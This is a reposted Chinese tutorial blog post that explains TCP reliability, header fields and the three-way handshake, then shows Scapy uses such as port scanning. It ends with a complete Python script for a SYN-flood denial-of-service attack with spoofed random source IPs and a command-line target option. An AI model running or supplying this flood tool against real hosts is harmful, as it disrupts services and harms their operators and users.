面向連接配接意味着兩個使用TCP的應用(通常是一個客戶和一個伺服器)在彼此交換資料之前必須先建立一個TCP連接配接。
在一個TCP連接配接中,僅有兩方進行彼此通信。廣播和多點傳播不能用于TCP。
TCP通過下列方式來提供可靠性:
應用資料被分割成TCP認為最合适發送的資料塊。
當TCP發出一個段後,它啟動一個定時器,等待目的端确認收到這個封包段。如果不能及時收到一個确認,将重發這個封包段。
當TCP收到發自TCP連接配接另一端的資料,它将發送一個确認。這個确認不是立即發送,通常将推遲幾分之一秒。
TCP将保持它首部和資料的檢驗和。
既然TCP封包段作為IP資料報來傳輸,而IP資料報的到達可能會失序,是以TCP封包段的到達也可能會失序,如果必要,TCP将對收到的資料進行重新排序,将收到的資料以正确的順序交給應用層。
既然IP資料報會發生重複,TCP的接收端必須丢棄重複的資料。
TCP還能提供流量控制。TCP連接配接的每一方都有固定大小的緩沖空間。
TCP的接收端隻允許另一端發送接收緩沖區所能接納的資料。這将防止較快主機緻使慢主機的緩沖區溢出。
TCP位元組流
兩個應用程式通過TCP連接配接交換8bit位元組構成的位元組流。TCP不在位元組流中插入記錄辨別符。我們将這稱為位元組流服務(byte stream service)。如果一方的應用程式先傳10位元組,又傳20位元組,再傳50位元組,連接配接的另一方将無法了解發方每次發送了多少位元組。收方可以分4次接收這80個位元組,每次接收20位元組。一端将位元組流放到TCP連接配接上,同樣的位元組流将出現在TCP連接配接的另一端。
另外,TCP對位元組流的内容不作任何解釋。TCP不知道傳輸的資料位元組流是二進制資料,還是ASCII字元、EBCDIC字元或者其他類型資料。對位元組流的解釋由TCP連接配接雙方的應用層解釋。
<a href="https://s3.51cto.com/oss/201711/10/9000941ad1f55465928143abe4a92c7a.png" target="_blank"></a>
每個TCP段都包含源端和目的端的端口号,用于尋找發端和收端應用程序。這兩個值加上IP首部中的源端IP位址和目的端IP位址唯一确定一個TCP連接配接。
一個IP位址和一個端口号也稱為一個插口(socket)插口對(socketpair)(包含客戶IP位址、用戶端口号、伺服器IP位址和伺服器端口号的四元組)可唯一确定網際網路絡中每個TCP連接配接的雙方。
序号用來辨別從TCP發端向TCP收端發送的資料位元組流,它表示在這個封包段中的序号對每個位元組進行計數。序号是32bit的無序号數,序号到達2的32次方後又從0開始。SYN标志消耗一個序号。FIN标志也要占用一個序号。
确認序号應當是上次已成功收到資料位元組序号加1。隻有ACK标志為1時确認序号字段才有效。
發送ACK無需任何代價,因為32bit的确認序号字段和ACK标志一樣,總是TCP首部的一部分。是以,我們看到一旦一個連接配接建立起來,這個字段總是被設定,ACK标志也總是被設定為1。
TCP為應用層提供全雙工服務。這意味資料能在兩個方向上獨立地進行傳輸。是以,連接配接的每一端必須保持每個方向上的傳輸資料序号。
TCP可以表述為一個沒有選擇确認或否認的滑動視窗協定(滑動視窗協定用于資料傳輸)。我們說TCP缺少選擇确認是因為TCP首部中的确認序号表示發方已成功收到位元組,但還不包括确認序号所指的位元組。目前還無法對資料流中標明的部分進行确認。例如,如果1-1024位元組已經成功收到,下一封包段中包含序号從2049-3072的位元組,收端并不能确認這個新的封包段。它所能做的就是發回一個确認序号為1025的ACK。它也無法對一個封包段進行否認。例如,如果收到包含1025-2048位元組的封包段,但它的檢驗和錯,TCP接收端所能做的就是發回一個确認序号為1025的ACK。
首部長度給出首部中32bit字段的數目。需要這個值是因為任選字段的長度是可變的。這個字段占4bit,是以TCP最多有60位元組的首部。然而,沒有任選字段,正常的長度是20位元組。
在TCP首部中有6個标志比特。它們中的多個可同時被設定為1。
URG 緊急指針有效
ACK 确認序号有效
PSH 接收方應該盡快将這個封包段交給應用層
RST 重建連接配接
SYN 同步序号用來發起一個連接配接
FIN 發端完成發送任務
TCP是一個面向連接配接的協定。無論哪一方向另一方發送資料之前,都必須先在雙方之間建立一條連接配接。
這種兩端間連接配接的建立與無連接配接協定如UDP不同。UDP向另一端發送資料報時,無需任何預先的握手。
TCP用三次握手過程建立一個連接配接。在連接配接建立過程中,很多參數要被初始化,例如序号被初始化以保證按序傳輸和連接配接的強壯性。
一對終端同時初始化一個它們之間的連接配接是可能的。但通常是由一端打開一個套接字(socket)然後監聽來自另一方的連接配接,這就是通常所指的被動打開。
伺服器端被被動打開以後,使用者端就能開始建立主動打開。
用戶端通過向伺服器端發送一個SYN來建立一個主動打開,作為三次握手的一部分。用戶端把這段連接配接的序号設定為随機數A。
伺服器端應當為一個合法的SYN回送一個SYN/ACK。ACK的确認碼應為A+1,SYN/ACK包本身又有一個随機序号B。
最後,用戶端再發送一個ACK。當服務端收到這個ACK的時候,就完成了三次握手,并進入了連接配接建立狀态。此時包序号被設定為收到的确認号A+1,而響應則為B+1。
<a href="https://s4.51cto.com/oss/201711/10/9cf5db12e04542d9332402de013b735d.png" target="_blank"></a>
<a href="https://s4.51cto.com/oss/201711/10/9974b0734356aa4448747d471c6b27e0.png" target="_blank"></a>
<a href="https://s1.51cto.com/oss/201711/10/cb5d1ef525d87adf70a687064b55cb01.png" target="_blank"></a>
<a href="https://s3.51cto.com/oss/201711/10/20f34bc8678f4f73445b3ec2c37d6ca9.png" target="_blank"></a>
<a href="https://s3.51cto.com/oss/201711/10/cc52f1aafd687e3f9def13e50ae3ba45.png" target="_blank"></a>
▼Socket TCP Server腳本樣例:
<a href="https://s2.51cto.com/oss/201711/10/26290d90ce72dd10c562949909036cf9.png" target="_blank"></a>
Scapy可以實作的功能:
1、TCP端口掃描
<a href="https://s4.51cto.com/oss/201711/10/d43bc86d06fbcd7a7af09a0c419c7578.png" target="_blank"></a>
2、防火牆開放端口掃描
<a href="https://s4.51cto.com/oss/201711/10/0b05954c5b0368988357a7fef132dd3e.png" target="_blank"></a>
3、模拟TCP建立與終止
<a href="https://s3.51cto.com/oss/201711/10/507e7ddc4589509a6f223e83bd2ab710.png" target="_blank"></a>
4、制造TCP DOS攻擊
使用随機位址随機端口發起TCP連接配接
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<code>#!/usr/bin/python3.4</code>
<code># -*- coding=utf-8 -*-</code>
<code>#firewall-cmd --direct --add-rule ipv4 filter OUTPUT 1 -p tcp --tcp-flags RST RST -s 202.100.1.139 -j DROP</code>
<code>#firewall-cmd --direct --add-rule ipv4 filter OUTPUT 1 -p icmp -s 202.100.1.139 -j DROP</code>
<code>import</code> <code>logging</code>
<code>logging.getLogger(</code><code>"scapy.runtime"</code><code>).setLevel(logging.ERROR)</code><code>#清除報錯</code>
<code>from</code> <code>scapy.</code><code>all</code> <code>import</code> <code>*</code>
<code>def</code> <code>syn_dos(ip, port, random_enable</code><code>=</code><code>True</code><code>):</code><code>#定義方法,傳入目标IP位址,目标端口号,是否激活随機僞裝源IP位址</code>
<code> </code><code>if</code> <code>random_enable </code><code>=</code><code>=</code> <code>True</code><code>:</code><code>#如果激活随機僞裝源IP位址</code>
<code> </code><code>while</code> <code>True</code><code>:</code><code>#一直執行直到ctl+c停止程式</code>
<code> </code><code>source_port </code><code>=</code> <code>random.randint(</code><code>1024</code><code>, </code><code>65535</code><code>)</code><code>#随機産生源端口</code>
<code> </code><code>init_sn </code><code>=</code> <code>random.randint(</code><code>1</code><code>, </code><code>65535</code><code>*</code><code>63335</code><code>)</code><code>#随機産生初始化序列号</code>
<code> </code><code>yi_section </code><code>=</code> <code>random.randint(</code><code>1</code><code>, </code><code>254</code><code>)</code><code>#随機産生,第一段IP位址</code>
<code> </code><code>er_section </code><code>=</code> <code>random.randint(</code><code>1</code><code>, </code><code>254</code><code>)</code><code>#随機産生,第二段IP位址</code>
<code> </code><code>san_section </code><code>=</code> <code>random.randint(</code><code>1</code><code>, </code><code>254</code><code>)</code><code>#随機産生,第三段IP位址</code>
<code> </code><code>si_section </code><code>=</code> <code>random.randint(</code><code>1</code><code>, </code><code>254</code><code>)</code><code>#随機産生,第四段IP位址</code>
<code> </code><code>source_ip </code><code>=</code> <code>str</code><code>(yi_section)</code><code>+</code><code>'.'</code><code>+</code><code>str</code><code>(er_section)</code><code>+</code><code>'.'</code><code>+</code><code>str</code><code>(san_section)</code><code>+</code><code>'.'</code><code>+</code><code>str</code><code>(si_section)</code><code>#組合四段位址</code>
<code> </code><code>#發送SYN同步包(不必等待回應)#随機僞裝源IP,随機産生源端口和初始化序列号</code>
<code> </code><code>send(IP(src</code><code>=</code><code>source_ip,dst</code><code>=</code><code>ip)</code><code>/</code><code>TCP(dport</code><code>=</code><code>port,sport</code><code>=</code><code>source_port,flags</code><code>=</code><code>2</code><code>,seq</code><code>=</code><code>init_sn), verbose </code><code>=</code> <code>False</code><code>)</code>
<code> </code><code>else</code><code>:</code><code>#如果不激活随機僞裝源IP位址</code>
<code> </code><code>while</code> <code>True</code><code>:</code>
<code> </code><code>#發送SYN同步包(不必等待回應)#随機産生源端口和初始化序列号</code>
<code> </code><code>send(IP(dst</code><code>=</code><code>ip)</code><code>/</code><code>TCP(dport</code><code>=</code><code>port,sport</code><code>=</code><code>source_port,flags</code><code>=</code><code>2</code><code>,seq</code><code>=</code><code>init_sn), verbose </code><code>=</code> <code>False</code><code>)</code>
<code>if</code> <code>__name__ </code><code>=</code><code>=</code> <code>'__main__'</code><code>:</code>
<code> </code><code>import</code> <code>optparse</code><code>#導入選項分析子產品</code>
<code> </code><code>#配置幫助</code>
<code> </code><code>parser </code><code>=</code> <code>optparse.OptionParser(</code><code>"程式使用方法介紹: -d <目标位址> -p <目标端口> -r <1:激活(預設) 2:不激活>"</code><code>)</code>
<code> </code><code>#選項‘-d’,指定目的IP位址</code>
<code> </code><code>parser.add_option(</code><code>'-d'</code><code>, dest </code><code>=</code> <code>'dst_ip'</code><code>, </code><code>type</code> <code>=</code> <code>'string'</code><code>, </code><code>help</code> <code>=</code> <code>'指定目标位址'</code><code>)</code>
<code> </code><code>#選項‘-p’,指定目的端口号</code>
<code> </code><code>parser.add_option(</code><code>'-p'</code><code>, dest </code><code>=</code> <code>'dst_port'</code><code>, </code><code>type</code> <code>=</code> <code>'int'</code><code>, </code><code>help</code> <code>=</code> <code>'指定目标端口'</code><code>)</code>
<code> </code><code>#選項‘-r’,是否激活随機僞裝源IP位址</code>
<code> </code><code>parser.add_option(</code><code>'-r'</code><code>, dest </code><code>=</code> <code>'random'</code><code>, </code><code>type</code> <code>=</code> <code>'int'</code><code>, </code><code>help</code> <code>=</code> <code>'是否激活随機IP'</code><code>)</code>
<code> </code><code>#分析參數,得到Options</code>
<code> </code><code>(options, args) </code><code>=</code> <code>parser.parse_args()</code>
<code> </code><code>#如果沒有指定目的IP,或者沒有指定目的端口号,顯示幫助資訊給客戶看!</code>
<code> </code><code>if</code> <code>(options.dst_ip </code><code>=</code><code>=</code> <code>None</code><code>) </code><code>or</code> <code>(options.dst_port </code><code>=</code><code>=</code> <code>None</code><code>):</code>
<code> </code><code>print</code><code>(parser.usage)</code>
<code> </code><code>exit(</code><code>0</code><code>)</code>
<code> </code><code>else</code><code>:</code><code>#如果客戶指定了目的位址和目的端口号,為變量指派!</code>
<code> </code><code>destination_ip </code><code>=</code> <code>options.dst_ip</code>
<code> </code><code>destination_port </code><code>=</code> <code>options.dst_port</code>
<code> </code><code>if</code> <code>options.random </code><code>=</code><code>=</code> <code>2</code><code>:</code><code>#如果客戶不激活随機僞裝源IP位址</code>
<code> </code><code>syn_dos(destination_ip, destination_port, random_enable </code><code>=</code> <code>False</code><code>)</code>
<code> </code><code>else</code><code>:</code><code>#客戶激活随機僞裝源IP位址</code>
<code> </code><code>syn_dos(destination_ip, destination_port, random_enable </code><code>=</code> <code>True</code><code>)</code>
<code></code><code></code>
<code></code><code>本文轉自Grodd51CTO部落格,原文連結:http://blog.51cto.com/juispan/1980688,如需轉載請自行聯系原作者</code>
<code></code>